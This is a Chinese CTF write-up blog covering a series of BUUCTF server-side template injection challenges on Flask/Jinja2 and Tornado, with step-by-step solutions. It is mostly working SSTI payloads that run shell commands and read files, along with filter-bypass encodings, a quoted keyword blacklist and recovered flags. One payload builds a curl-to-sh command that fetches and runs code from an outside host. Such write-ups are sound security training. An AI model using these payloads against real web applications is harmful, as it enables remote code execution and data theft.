BUUCTF刷题十一道(12)SSTI专题一

文章目录

  • 学习文章
  • [Flask]SSTI
  • [GWCTF 2019]你的名字
  • [第三章 web进阶]SSTI
  • [pasecactf_2019]flask_ssti
  • [NewStarCTF 公开赛赛道]BabySSTI_One
  • [Dest0g3 520迎新赛]EasySSTI
  • [NewStarCTF 公开赛赛道]BabySSTI_Two
  • [NewStarCTF 公开赛赛道]BabySSTI_Three
  • [GYCTF2020]FlaskApp
  • [CSCCTF 2019 Qual]FlaskLight
  • [护网杯 2018]easy_tornado

学习文章

SSTI-服务端模板注入漏洞
flask之ssti模板注入从零到入门
CTFSHOW SSTI篇-yu22x
SSTI模板注入绕过(进阶篇)-yu22x
SSTI模板注入学习-竹言笙熙

全部总结看最后一篇

[Flask]SSTI

在这里插入图片描述

?name={{().__class__.__base__.__sunclasses__()}}
找到子类

在这里插入图片描述

在这里插入图片描述
{{().__class__.__bases__[0].__subclasses__()[117]}}

在这里插入图片描述
在这里插入图片描述
目录下面都没有flag,看下环境变量

在这里插入图片描述
?name={{().__class__.__bases__[0].__subclasses__()[117].__init__.__globals__['popen']("env").read()}}

[GWCTF 2019]你的名字

尝试{{7*7}}执行报错
在这里插入图片描述

语法错误,尝试{%%}输出

在这里插入图片描述
{% set a="__init"~"__"%}{%print(a)%}
在这里插入图片描述
变量拼接

  • lipsum

    Generates some lorem ipsum for the template. By default, five paragraphs of HTML are generated with each paragraph between 20 and 100 words. If html is False, regular text is returned. This is useful to generate simple contents for layout testing.
    生成一些随机字符串

{%print lipsum['__glo'~'bals__']['__buil'~'tins__']['__imp'~'ort__']('o'~'s')['po'~'pen']("ls")['re'~'ad']() %}

在这里插入图片描述
{%print lipsum.__globals__['__bui'+'ltins__']['__im'+'port__']('o'+'s')['po'+'pen']('cat /flag_1s_Hera').read()%}

在这里插入图片描述

[第三章 web进阶]SSTI

在这里插入图片描述
逐步输入发现每一步都没有过滤

{{x.__init__.__globals__.__builtins__.__import__('os').popen('ls').read()}}

在这里插入图片描述
环境变量提交了好几次flag居然不对…

翻找一下目录

在这里插入图片描述
{{x.__init__.__globals__.__builtins__.__import__('os').popen('cat app/server.py').read()}}

[pasecactf_2019]flask_ssti

测了{{7*7}}正常,发现__class__过滤
在这里插入图片描述
变量拼接
在这里插入图片描述
测试发现下划线、点、单引号过滤

双引号+编码绕过

在这里插入图片描述
\x5f\x5fclass\x5f\x5f

#构造__class__
{{()["\x5f\x5fclass\x5f\x5f"]}}

# 找子类
{{()["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbase\x5f\x5f"]["\x5f\x5fsubclasses\x5f\x5f"]()}}128

在这里插入图片描述


#获取全部变量
{{()["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbase\x5f\x5f"]["\x5f\x5fsubclasses\x5f\x5f"]()[127]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]}}

# popen命令执行
{{()["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbase\x5f\x5f"]["\x5f\x5fsubclasses\x5f\x5f"]()[127]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]["popen"]("ls")["read"]()}}

# 查看app.py
{{()["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbase\x5f\x5f"]["\x5f\x5fsubclasses\x5f\x5f"]()[127]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]["popen"]("cat /app/app*")["read"]()}}

import random
from flask import Flask, render_template_string, render_template, request
import os

app = Flask(__name__)
app.config['SECRET_KEY'] = 'folow @osminogka.ann on instagram =)'

#Tiaonmmn don't remember to remove this part on deploy so nobody will solve that hehe
'''
def encode(line, key, key2):
    return ''.join(chr(x ^ ord(line[x]) ^ ord(key[::-1][x]) ^ ord(key2[x])) for x in range(len(line)))

app.config['flag'] = encode('', 'GQIS5EmzfZA1Ci8NslaoMxPXqrvFB7hYOkbg9y20W3', 'xwdFqMck1vA0pl7B8WO3DrGLma4sZ2Y6ouCPEHSQVT')
'''

def encode(line, key, key2):
    return ''.join(chr(x ^ ord(line[x]) ^ ord(key[::-1][x]) ^ ord(key2[x])) for x in range(len(line)))

file = open("/app/flag", "r")
flag = file.read()
flag = flag[:42]

app.config['flag'] = encode(flag, 'GQIS5EmzfZA1Ci8NslaoMxPXqrvFB7hYOkbg9y20W3', 'xwdFqMck1vA0pl7B8WO3DrGLma4sZ2Y6ouCPEHSQVT')
flag = ""

os.remove("/app/flag")


看一下config拿出加密的flag,再异或一下即可还原

{{config}}


import random

def encode(line, key, key2):
    return ''.join(chr(x ^ ord(line[x]) ^ ord(key[::-1][x]) ^ ord(key2[x])) for x in range(len(line)))

flag='-M7\x10wI781Rwgr\x0eH\x08hQ(DL\x13_\x17{9\x044\x02^\x17^-\x01/,Fm\x11\x0fNG'

print(encode(flag, 'GQIS5EmzfZA1Ci8NslaoMxPXqrvFB7hYOkbg9y20W3', 'xwdFqMck1vA0pl7B8WO3DrGLma4sZ2Y6ouCPEHSQVT'))

//flag{856cbe49-732f-4d9a-b2dd-2a68342b570a}

[NewStarCTF 公开赛赛道]BabySSTI_One

测试发现过滤关键字,但是特殊符号中括号、双引号、点都能用

可以考虑拼接或者编码,这里使用拼接


?name={{()["__cla"~"ss__"]}}

在这里插入图片描述
找子类


?name={{()["__cla"~"ss__"]["__ba"~"se__"]["__subcl"~"asses__"]()}}

在这里插入图片描述
在这里插入图片描述
直接命令执行


?name={{()["__cla"~"ss__"]["__ba"~"se__"]["__subcl"~"asses__"]()[117]["__in"~"it__"]["__glob"~"als__"]["po"~"pen"]("ls")["read"]()}}

在这里插入图片描述
环境变量里面没有,还是输出app.py

?name={{()["__cla"~"ss__"]["__ba"~"se__"]["__subcl"~"asses__"]()[117]["__in"~"it__"]["__glob"~"als__"]["po"~"pen"]("ca"~"t"~" "~"app*")["read"]()}}


from flask import Flask, request 
from jinja2 import Template 
import re 
app = Flask(__name__) 
@app.route("/") 
def index(): 
    name = request.args.get('name', 'CTFer') 
    if not re.findall('class|base|init|mro|flag|cat|more|env', name): 
        t = Template("Welcome to NewStarCTF, Dear " + name + "Try to GET me a NAME") 
        return t.render() 
    else: 
        t = Template("Get Out!Hacker!") 
        return t.render() 
if __name__ == "__main__": 
    app.run()

根目录下

在这里插入图片描述


?name={{()["__cla"~"ss__"]["__ba"~"se__"]["__subcl"~"asses__"]()[117]["__in"~"it__"]["__glob"~"als__"]["po"~"pen"]("tac /fla*")["read"]()}}

在这里插入图片描述

[Dest0g3 520迎新赛]EasySSTI

用户名处ssti

在这里插入图片描述
burp看一下过滤
在这里插入图片描述
在这里插入图片描述

红色部分过滤,空格也过滤
学习大佬的博客,进行解读,师傅太强了…
buuctf:Dest0g3 520迎新赛 web EasySSTI-安河桥北2025

username=
{%set%0crdea=dict(re=a,ad=a)|join%}						# read
{%set%0cpone=dict(po=a,p=a,e=a,n=a)|join%}				# popen
{%set%0cget=dict(get=a)|join%}							# get
{%set%0cso=dict(o=a,s=a)|join%}							# os
{%set%0copp=dict(po=a,p=a)|join%}						# pop
{%set%0cindex=dict(index=a)|join%}						# index
{%set%0cn=dict(n=a)|join%}								# 字符n
{%set%0cu=dict(u=a)|join%}								# 字符u
{%set%0cthree=(lipsum|string|list)|attr(index)(n)%}		# 数字3
{%set%0ctwo=(lipsum|string|list)|attr(index)(u)%}		# 数字2
{%set%0cone=three-two%}									# 数字1
{%set%0cfive=three%2btwo%}								# 数字5
{%set%0csix=three*two%}									# 数字6
{%set%0cfou=five-one%}									# 数字4
{%set%0cnine=three*three%}								# 数字9
{%set%0cunderline=(lipsum|string|list)|attr(opp)(two*nine)%}	# 下划线
{%set%0cgbl=(underline,underline,dict(glob=a,als=a)|join,underline,underline)|join%}		  # globals
{%set%0cspace=(lipsum|string|list)|attr(opp)(nine)%}	# 空格
{%set%0cc=dict(chr=a)|join%}							# c=chr函数
{%set%0cgetIT=(underline,underline,dict(getit=a,em=a)|join,underline,underline)|join%}			# getitem
{%set%0cbul=(underline,underline,dict(builtin=a,s=a)|join,underline,underline)|join%}		  # 单词builtins
{%set%0cbuii=lipsum|attr(gbl)|attr(getIT)(bul)%}		# 对象builtins
{%set%0cshiz=five*nine%}								# 数字45
{%set%0cjian=buii|attr(get)(c)(shiz)%}					# 符号-
# {{lipsum.__globals__.__builtins__.get("chr")(45)}}    # 用chr获取字符
{%set%0cshuxian=buii|attr(get)(c)(five*five*five-one)%} # 符号竖线
{%set%0cxiangang=buii|attr(get)(c)(shiz%2btwo)%}		# 斜杠
{%set%0cfanxian=buii|attr(get)(c)(two*shiz%2btwo)%}		# 反斜杠
{%set%0cdot=buii|attr(get)(c)(shiz%2bone)%}				# 点.
{%set%0cyinghao=buii|attr(get)(c)(shiz-six)%}			# 单引号
{%set%0caa=dict(curl=a)|join%}							# aa=curl
{%set%0cab=dict(xss=a)|join%}							# ab=xss
{%set%0cpt=dict(pt=a)|join%}							# pt=pt
{%set%0caaaa=dict(aaaa=a)|join%}						# aaaa=aaaa
{%set%0ctr=dict(tr=a)|join%}							# tr=tr
{%set%0cd=dict(d=a)|join%}								# d=d
{%set%0cr=dict(r=a)|join%}								# r=r
{%set%0csh=dict(sh=a)|join%}							# sh=sh
{%set%0ccmd=(aa,space,ab,dot,pt,xc,xiangang,aaaa,shuxian,tr,space,jian,d,space,yinghao,fanxian,r,yinghao,shuxian,sh)|join%}
{{cmd}}
{{lipsum|attr(gbl)|attr(get)(so)|attr(pone)(cmd)|attr(rdea)()}}&password=2

思路是,


1. 通过构造数字,
2. 使用过滤器attr获取属性
3. 再通过lipsum获取builtins的内置函数chr
4. chr结合数字即可获取对应字符
5. 最终各个变量拼接命令执行

我就用麻烦一点的方法手动执行命令吧

{%set%0crdea=dict(re=a,ad=a)|join%}
{%set%0cpone=dict(po=a,p=a,e=a,n=a)|join%}
{%set%0cget=dict(get=a)|join%}
{%set%0cso=dict(o=a,s=a)|join%}
{%set%0copp=dict(po=a,p=a)|join%}
{%set%0cindex=dict(index=a)|join%}
{%set%0cn=dict(n=a)|join%}
{%set%0cu=dict(u=a)|join%}
{%set%0cthree=(lipsum|string|list)|attr(index)(n)%}
{%set%0ctwo=(lipsum|string|list)|attr(index)(u)%}
{%set%0cone=three-two%}
{%set%0cfive=three%2btwo%}
{%set%0csix=three*two%}
{%set%0cfou=five-one%}
{%set%0cnine=three*three%}
{%set%0cunderline=(lipsum|string|list)|attr(opp)(two*nine)%}
{%set%0cgbl=(underline,underline,dict(glob=a,als=a)|join,underline,underline)|join%}
{%set%0cspace=(lipsum|string|list)|attr(opp)(nine)%}
{%set%0cc=dict(chr=a)|join%}
{%set%0cgetIT=(underline,underline,dict(getit=a,em=a)|join,underline,underline)|join%}
{%set%0cbul=(underline,underline,dict(builtin=a,s=a)|join,underline,underline)|join%}
{%set%0cbuii=lipsum|attr(gbl)|attr(getIT)(bul)%}
{%set%0cshiz=five*nine%}
{%set%0cjian=buii|attr(get)(c)(shiz)%}
{%set%0cshuxian=buii|attr(get)(c)(five*five*five-one)%}
{%set%0cxiangang=buii|attr(get)(c)(shiz%2btwo)%}
{%set%0cfanxian=buii|attr(get)(c)(two*shiz%2btwo)%}
{%set%0cdot=buii|attr(get)(c)(shiz%2bone)%}
{%set%0cyinghao=buii|attr(get)(c)(shiz-six)%}
{%set%0cls=dict(ls=a)|join%}
{%set%0ccmd=(ls)|join%}
{{cmd}}
{{lipsum|attr(gbl)|attr(get)(so)|attr(pone)(cmd)|attr(rdea)()}}

换行替换为空即可
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述


{%set%0crdea=dict(re=a,ad=a)|join%}
{%set%0cpone=dict(po=a,p=a,e=a,n=a)|join%}
{%set%0cget=dict(get=a)|join%}
{%set%0cso=dict(o=a,s=a)|join%}
{%set%0copp=dict(po=a,p=a)|join%}
{%set%0cindex=dict(index=a)|join%}
{%set%0cn=dict(n=a)|join%}
{%set%0cu=dict(u=a)|join%}
{%set%0cthree=(lipsum|string|list)|attr(index)(n)%}
{%set%0ctwo=(lipsum|string|list)|attr(index)(u)%}
{%set%0cone=three-two%}
{%set%0cfive=three%2btwo%}
{%set%0csix=three*two%}
{%set%0cfou=five-one%}
{%set%0cnine=three*three%}
{%set%0cunderline=(lipsum|string|list)|attr(opp)(two*nine)%}
{%set%0cgbl=(underline,underline,dict(glob=a,als=a)|join,underline,underline)|join%}
{%set%0cspace=(lipsum|string|list)|attr(opp)(nine)%}
{%set%0cc=dict(chr=a)|join%}
{%set%0cgetIT=(underline,underline,dict(getit=a,em=a)|join,underline,underline)|join%}
{%set%0cbul=(underline,underline,dict(builtin=a,s=a)|join,underline,underline)|join%}
{%set%0cbuii=lipsum|attr(gbl)|attr(getIT)(bul)%}
{%set%0cshiz=five*nine%}
{%set%0cjian=buii|attr(get)(c)(shiz)%}
{%set%0cshuxian=buii|attr(get)(c)(five*five*five-one)%}
{%set%0cxiangang=buii|attr(get)(c)(shiz%2btwo)%}
{%set%0cfanxian=buii|attr(get)(c)(two*shiz%2btwo)%}
{%set%0cdot=buii|attr(get)(c)(shiz%2bone)%}
{%set%0cyinghao=buii|attr(get)(c)(shiz-six)%}
{%set%0ccat=dict(cat=a)|join%}
{%set%0cflag=dict(flag=a)|join%}
{%set%0ccmd=(cat,space,xiangang,flag)|join%}
{{cmd}}
{{lipsum|attr(gbl)|attr(get)(so)|attr(pone)(cmd)|attr(rdea)()}}

[NewStarCTF 公开赛赛道]BabySSTI_Two

burp测一下过滤哪些

在这里插入图片描述
过滤了这些内容,可用如下

在这里插入图片描述
尝试十六进制编码绕过
在这里插入图片描述


?name={{()['\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f']}}

在这里插入图片描述
查看子类


#{{()['__class__']['__base__']['__subclasses__']()}}
{{()['__\x63\x6c\x61\x73\x73__']['__base__']['__\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73__']()}}

在这里插入图片描述
在这里插入图片描述
直接触发连招吧


name={{(()['__\x63\x6c\x61\x73\x73__']['__base__']['__\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73__']()[117])['__\x69\x6e\x69\x74__']['__\x67\x6c\x6f\x62\x61\x6c\x73__']['\x70\x6f\x70\x65\x6e']('ls')['\x72\x65\x61\x64']()}}

#    {{(()['__class__']['__base__']['__subclasses__']()[117])['__init__']['__globals__']['popen']('ls')['read']()}}

在这里插入图片描述

flag在根目录下


?name={{(()['__\x63\x6c\x61\x73\x73__']['__base__']['__\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73__']()[117])['__\x69\x6e\x69\x74__']['__\x67\x6c\x6f\x62\x61\x6c\x73__']['\x70\x6f\x70\x65\x6e']('\x6c\x73\x20\x2f')['\x72\x65\x61\x64']()}}

# {{(()['__class__']['__base__']['__subclasses__']()[117])['__init__']['__globals__']['popen']('ls /')['read']()}}


?name={{(()['__\x63\x6c\x61\x73\x73__']['__base__']['__\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73__']()[117])['__\x69\x6e\x69\x74__']['__\x67\x6c\x6f\x62\x61\x6c\x73__']['\x70\x6f\x70\x65\x6e']('\x63\x61\x74\x20\x2f\x66\x6c\x61\x67\x5f\x69\x6e\x5f\x68\x33\x72\x33\x5f\x35\x32\x64\x61\x61\x64')['\x72\x65\x61\x64']()}}


# {{(()['__class__']['__base__']['__subclasses__']()[117])['__init__']['__globals__']['popen']('cat /flag_in_h3r3_52daad')['read']()}}

在这里插入图片描述
在这里插入图片描述

[NewStarCTF 公开赛赛道]BabySSTI_Three

在这里插入图片描述
比上一个多过滤一个下划线、base【图里面base502了】



{{(()['\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f']['\x5f\x5f\x62\x61\x73\x65\x5f\x5f']['\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f']()[117])['\x5f\x5f\x69\x6e\x69\x74\x5f\x5f']['\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f']['\x70\x6f\x70\x65\x6e']('\x6c\x73\x20\x2f')['\x72\x65\x61\x64']()}}

在这里插入图片描述

?name={{(()['\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f']['\x5f\x5f\x62\x61\x73\x65\x5f\x5f']['\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f']()[117])['\x5f\x5f\x69\x6e\x69\x74\x5f\x5f']['\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f']['\x70\x6f\x70\x65\x6e']('\x63\x61\x74\x20\x2f\x66\x6c\x61\x67\x5f\x69\x6e\x5f\x68\x33\x72\x33\x5f\x35\x32\x64\x61\x61\x64')['\x72\x65\x61\x64']()}}

在这里插入图片描述

[GYCTF2020]FlaskApp

一个加解密界面,加密输上去直接变base64,试一下解密能不能输{{7*7}}的base64编码

在这里插入图片描述
在这里插入图片描述
有检测

试一下编码+中括号


{{()['\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f']['\x5f\x5f\x62\x61\x73\x65\x5f\x5f']}}

在这里插入图片描述

{{()['\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f']['\x5f\x5f\x62\x61\x73\x65\x5f\x5f']['\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f']()}}

编了半天发现不编码也能行…页面不回显有哪些类,记得base64编码payload

    页面没有回显时
    #命令执行:
    {% for c in [].__class__.__base__.__subclasses__() %}
    #先通过for循环根据模块名寻找符合要求的模块
    {% if c.__name__=='catch_warnings' %}
    {{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}

    #如果找到该模块就进行后续的函数操作
    {% endif %}{% endfor %}
    # 结束判断结束循环
    #文件操作    


直接命令执行不大行,看一下app.py源码过滤了什么

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}

在这里插入图片描述


class NameForm1(FlaskForm):
    text = StringField('BASE64解密', validators=[DataRequired()])
    submit = SubmitField('提交')


def waf(str):
    black_list = ["flag", "os", "system", "popen", "import", "eval", "chr", "request",
                  "subprocess", "commands", "socket", "hex", "base64", "*", "?"]
    for x in black_list:
        if x in str.lower():
            return 1

关键词过滤,拼接绕过

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__']['__imp'~'ort__']('o'~'s')['po'~'pen']('id').read()}}{% endif %}{% endfor %}

在这里插入图片描述

根目录下有flag,读的时候记得绕过flag过滤

在这里插入图片描述

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__']['__imp'~'ort__']('o'~'s')['po'~'pen']('cat /this_is_the_fl'~'ag.txt').read()}}{% endif %}{% endfor %}

在这里插入图片描述

[CSCCTF 2019 Qual]FlaskLight

之前写了可能不太会,现在看下
在这里插入图片描述
在这里插入图片描述
get传参search

在这里插入图片描述
有反应
这道题''._class__.__base__不是object类,而是<type 'basestring'>
两次base才是object
''.__class__.__base__.__base__

在这里插入图片描述
找子类


{{().__class__.__base__.__subclasses__()}}

在这里插入图片描述
没有os,有catch_warnings
在这里插入图片描述
但是好像有过滤,怎么输都返回500,看了前辈的博客

BUUCTF SSTI模板注入小结(持续更新)-CN天狼

要拼接绕过



{{().__class__.__base__.__subclasses__()[59].__init__['__glo'~'bals__']['__buil'~'tins__']['__imp'~'ort__']('o'~'s')['pop'~'en']('dir').read()}}

在这里插入图片描述
flag在flasklight目录下


{{().__class__.__base__.__subclasses__()[59].__init__['__glo'~'bals__']['__buil'~'tins__']['__imp'~'ort__']('o'~'s')['pop'~'en']('cat /flasklight/coomme_geeeett_youur_flek').read()}}

[护网杯 2018]easy_tornado

render提示这道题是ssti,但是在文件名以及文件hash处进行尝试都报错,发现msg=ERROR,此处进行尝试才发现注入点
在这里插入图片描述

在这里插入图片描述

burp一跑发现大部分符号都被过滤了…

md5(cookie_secret+md5(filename))

需要找到cookie_secret就知道filehash是什么了,

在 Tornado 中,handler.settings 是一个字典,用于存储应用程序中设置的各种配置项和参数。在 Tornado 中,通常会将一些应用程序的配置信息存储在 settings 字典中,以便在处理请求时可以轻松地访问和使用这些配置。

import tornado.ioloop
import tornado.web

class MainHandler(tornado.web.RequestHandler):
    def get(self):
        self.set_cookie("user", "John", expires_days=1)
        self.write("Cookie is set.")

def make_app():
    settings = {
        "cookie_secret": "mysecretkey"  # 设置 cookie_secret
    }
    return tornado.web.Application([
        (r"/", MainHandler),
    ], **settings)

if __name__ == "__main__":
    app = make_app()
    app.listen(8888)
    tornado.ioloop.IOLoop.current().start()

cookie_secret放在settings里

在这里插入图片描述

bdbb04e0-aa35-4070-83ee-a5320f53da36

得出最终的filehash为88a5e76c8f5f3b15f4fa3219c20c6b2e
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/528837.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

java基础语法(13)

1. final关键字 final概述 学习了继承后&#xff0c;我们知道&#xff0c;子类可以在父类的基础上改写父类内容&#xff0c;比如&#xff0c;方法重写。那么我们能不能随意的继承API中提供的类&#xff0c;改写其内容呢&#xff1f;显然这是不合适的。为了避免这种随意改写的情…

关于转义符 \ 在php正则中的匹配问题

今天做题遇到一个很经典的问题&#xff0c;记录一下&#xff0c;先看一段代码 <?php $str&#xff0c;&#xff0c;"\\"; $pattern&#xff0c;&#xff0c;"/\\/"; if(preg_match($partern,$str,$arr)) { &#xff0c;&#xff0c;&#xff0c;&…

结构型模式--1.适配器模式【托尼托尼·乔巴】

1. 翻译家 在海贼王中&#xff0c;托尼托尼乔巴&#xff08;Tony Tony Chopper&#xff09;是草帽海贼团的船医&#xff0c;它本来是一头驯鹿&#xff0c;但是误食了动物系人人果实之后可以变成人的形态。 乔巴吃了恶魔果实之后的战斗力暂且抛开不谈&#xff0c;说说它掌握的第…

金仓数据库Kingbase的数据库开发管理工具KStudio连接乱码

背景&#xff1a; 金仓数据库V8R6&#xff0c;KStudio在Windows10上运行&#xff0c;JDK8 问题&#xff1a; 使用客户端连接数据库时&#xff0c;提示信息乱码&#xff0c;首选项设置字符集不管用&#xff0c;具体如下图所示&#xff1a; Before&#xff1a; After&#xff1…

018——红外遥控模块驱动开发(基于HS0038和I.MX6uLL)

目录 一、 模块介绍 1.1 简介 1.2 协议 二、 驱动代码 三、 应用代码 四、 实验 五、 程序优化 一、 模块介绍 1.1 简介 红外遥控被广泛应用于家用电器、工业控制和智能仪器系统中&#xff0c;像我们熟知的有电视机盒子遥控器、空调遥控器。红外遥控器系统分为发送端和…

【On Hold】又一本ESCI被紧急On Hold!!年发文量激增19倍令人匪夷所思

【SciencePub学术】前几日Hindawi撤稿事件闹得沸沸扬扬&#xff0c;整个学术界的关注点都在这次的撤稿事件。所有的期刊都进入自检模式&#xff0c;官方在审核期刊资质时也颇为严格了。 但是经小编查阅资料时发现&#xff0c;最近有一本ESCI期刊又被科睿唯安官方打上了On Hold…

基于SpringBoot+Vue的“漫画之家”系统(源码+文档+部署+讲解)

一.系统概述 随着信息技术和网络技术的飞速发展&#xff0c;人类已进入全新信息化时代&#xff0c;传统管理技术已无法高效&#xff0c;便捷地管理信息。为了迎合时代需求&#xff0c;优化管理效率&#xff0c;各种各样的管理系统应运而生&#xff0c;各行各业相继进入信息管理…

【Shell】循环语句基础

Shell 循环 循环语句 Shell 循环循环的定义for 循环for循环的C语言格式 while 循环until 循环 循环的定义 循环在编程中通常指循环结构。 循环结构是编程中的一种控制结构&#xff0c;它允许代码在满足特定条件时重复执行一段特定的指令集合&#xff0c;这部分重复执行的代码…

ADP-2-20+ 信号调节 20MHz-2GHzRF功分器 合路器

ADP-2-20 是一款由Mini-Circuits公司出产的功分器&#xff08;power divider&#xff09;。这款功分器的工作温度规模为-40C至85C&#xff0c;贮存温度规模为-55C至100C。作为分路器&#xff0c;它的电源输入最高可达1W&#xff0c;内部功耗最大为0.125W。假如超越这些限制&…

BFS宽度优先搜索例题(蓝桥杯)——逃跑的牛

问题描述&#xff1a; 农夫John的一头牛逃跑了&#xff0c;他想要将逃跑的牛找回来。现假设农夫John和牛的位置都在一条直线上&#xff0c;农夫John的初始位置为N&#xff08;0≤N≤100,000&#xff09;&#xff0c;牛的初始位置为K&#xff08;0≤K≤100,000&#xff09;。农夫…

人社大赛算法赛题解题思路分享+季军+三马一曹团队

团队成员介绍: 梅鵾 上海交通大学 众安科技 算法工程师 吴栋梁 复旦大学 众安科技 算法工程师 李玉娇 复旦大学 众安科技 算法工程师 一、赛题背景分析及理解 本赛题提供了部分地区2016年度的医疗保险就医结…

改进YOLOv8注意力系列七:结合空间关系增强注意力SGE、SKAttention动态尺度注意力、TripletAttention

改进YOLOv8注意力系列七:结合空间关系增强注意力SGE、SKAttention动态尺度注意力、全局上下文信息注意力Triplet Attention 代码Spatial Group Enhance (SGE)SKAttention动态尺度注意力全局上下文信息注意力Triplet Attention(无参)加入方法各种yaml加入结构本文提供了改进 Y…

openGauss 5.0 单点企业版部署_Centos7_x86(上)

背景 通过openGauss提供的脚本安装时&#xff0c;只允许在单台物理机部署一个数据库系统。如果您需要在单台物理机部署多个数据库系统&#xff0c;建议您通过命令行安装&#xff0c;不需要通过openGauss提供的安装脚本执行安装。 本文档环境&#xff1a;CentOS7.9 x86_64 4G1…

IDEA import时不使用*

在使用 IDEA 进行开发时&#xff0c;会经常使用到 import 关键字导入所需的类。 IDEA 默认设置是同包类是超过 5 个或者静态导入超过 3 个变成 import xxx.*。 但 import xxx.* 的形式会造成一些用不到的类被引入&#xff0c;导致资源浪费&#xff0c;最好还是不使用这种方式…

雷达学习之多普勒频率

一、多普勒频率如何产生&#xff1f; 雷达的原理是发射一些无线电脉冲来探测目标&#xff0c;并通过回波的延时来计算目标与雷达的距离&#xff0c;但当目标为运动物体时&#xff0c;在回波向目标传输的同时&#xff0c;目标也会远离或接近回波&#xff0c;所以会导致回波信号…

【git】checkout origin/xxx 出现 detached HEAD问题

git 检出远程分支出现Head分离的是什么原因导致的呢&#xff1f;&#xff1f; 因为Head指向了origin的一个commit, 但是这个origin分支你的本地又没有&#xff0c;也就是说你本地没有追踪这个分支&#xff0c;那就要track一下 git checkout -h 看一下有没有追踪的命令 果不其…

【golang】动态生成微信小程序二维码实战下:golang 生成 小程序二维码图片 并通过s3协议上传到对象存储桶 | 腾讯云 cos

项目背景 在自研的系统&#xff0c;需要实现类似草料二维码的功能 将我们自己的小程序&#xff0c;通过代码生成相想要的小程序二维码 代码已经上传到 Github 需要的朋友可以自取 https://github.com/ctra-wang/wechat-mini-qrcode 一、生成Qrcode并提交到对象存储 通过源生A…

前端:自制年历

详细思路可以看我的另一篇文章《前端&#xff1a;自制月历》&#xff0c;基本思路一致&#xff0c;只是元素布局略有差异 ①获取起始位startnew Date(moment().format(yyyy-01-01)).getDay() ②获取总的格子数numMath.ceil(365/7)*7,这里用365或者366计算结果都是一样的371 …

数据库中了勒索病毒怎么办?(数据库恢复的终极大招DUL)

数据库如何预防勒索病毒 接上文&#xff0c;如果数据库中了勒索病毒&#xff0c;并且备份也同样被攻陷&#xff0c;那该怎么办&#xff1f;以最为常见的Lockbit3.0为例&#xff0c;LockBit采用先进的加密算法&#xff0c;通常是对称密钥加密和非对称密钥加密的组合。这使得被感…

适合虚拟主持人活动的全身动作捕捉设备:VDSuit Full

在虚拟主持人领域&#xff0c;全身动作捕捉设备一直以其逼真的效果和生动的表现力备受瞩目。相比光学全身动作捕捉设备&#xff0c;惯性全身动作捕捉设备更适合应用在企业品牌虚拟主持人发布会、虚拟主持人直播等活动场合。 广州虚拟动力全身动作捕捉设备VDSuit Full&#xff0…